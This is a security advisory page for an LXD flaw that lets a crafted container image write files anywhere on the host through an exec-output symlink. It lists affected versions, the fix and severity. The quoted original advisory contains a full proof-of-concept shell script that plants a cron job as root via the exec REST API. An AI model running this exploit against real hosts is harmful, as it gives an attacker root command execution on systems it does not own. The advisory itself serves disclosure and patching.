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9.9

LXD can write files anywhere on host via symlink

published 15 days ago
Summary

LXD may follow a symbolic link inside a container image and write its command output to any location on the host file system. An attacker could place a link to a sensitive directory (for example, the host's cron folder) and cause unwanted scripts to run. Update LXD to the latest version and only use trusted container images to mitigate the risk.

What to do
  • Update canonical github.com/canonical/lxd to version 0.0.0-20260626085134-124f90100640.
Affected software
Ecosystem VendorProductAffected versions
Go canonical github.com/canonical/lxd < 0.0.0-20260626085134-124f90100640
Fix: upgrade to 0.0.0-20260626085134-124f90100640
Original advisory text
LXD has arbitrary file write on host via `exec-output` symlink in crafted image
Reported from https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv

### Summary

The `record-output` parameter of the `/instances/$name/exec` endpoint
stores the output of the command in the `exec-output` directory of the
instance. If `exec-output` is a symlink, file named `exec_UUID.stdout`
and `exec_UUID.stderr` can be written to an arbitrary location where
the `.stdout` file will contain arbitrary content. This behavior can be
abused for arbitrary command execution.


### Details

When an image is unpacked, top-level symlinks are extracted as is;
allowing for `exec-output` to be placed on disk. In `instance_exec.go`,
`os.Mkdir` continues of `exec-output` exists and `os.OpenFile` follows
the `exec-output` symlink.


### PoC

Below, we place the `exec_UUID.stdout` file in `/etc/cron.d` on
the host for arbitrary command execution.

```
#!/bin/sh
# usage: $0 existing-imagefp
set -eu

basefp="${1}"

die() {
printf '%s' "${@}" >&2
exit 1
}

command -v curl >/dev/null 2>&1 || die 'error: curl not found\n'
command -v python3 >/dev/null 2>&1 || die 'error: python3 not found\n'

tmpdir=$(mktemp -d)
cleanup() {
rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP


# insert exec-output symlink

incus image export "${basefp}" "${tmpdir}/img"

mkdir "${tmpdir}/repack"
cd "${tmpdir}/repack"

xz -cd "${tmpdir}/img" | tar -f- -vx

rm -rf exec-output
ln -s /etc/cron.d exec-output

tar -f- -c * | gzip -c9 >"${tmpdir}/img"

cd - >/dev/null
incus image import "${tmpdir}"/img* --alias afw-exec-output


# Launch container, exec with record-output via REST API
incus launch afw-exec-output afw-exec-output
incus wait afw-exec-output ip

OP=$(curl -s --unix-socket /var/lib/incus/unix.socket \
-X POST -H 'Content-Type: application/json' \
-d '{"command":["/bin/sh","-c","echo * * * * * root id'"'>'"'/afw-exec-output"],"record-output":true}' \
"lxd/1.0/instances/afw-exec-output/exec" | python3 -c "import sys,json;print(json.load(sys.stdin)['operation'])")

curl -s --unix-socket /var/lib/incus/unix.socket "$OP/wait?timeout=30" >/dev/null

#find /etc/cron.d/exec_* -exec cat {} \;
```

### Impact

Constrained file creation in an arbitrary directory on the host via
via an unsanitized symlink; possibly leading to command execution.
Fix within
Internet-facing 14 days
Internal At next upgrade
  • Not known to be exploited
  • Needs hands-on effort to exploit (estimated)
  • Gives an attacker full control (estimated)
Severity
9.9 Critical
Type
CWE-73External Control of File Name or Path
Timeline
Published6 Nov 2026
Updated6 Nov 2026
First seen6 Nov 2026
Sources
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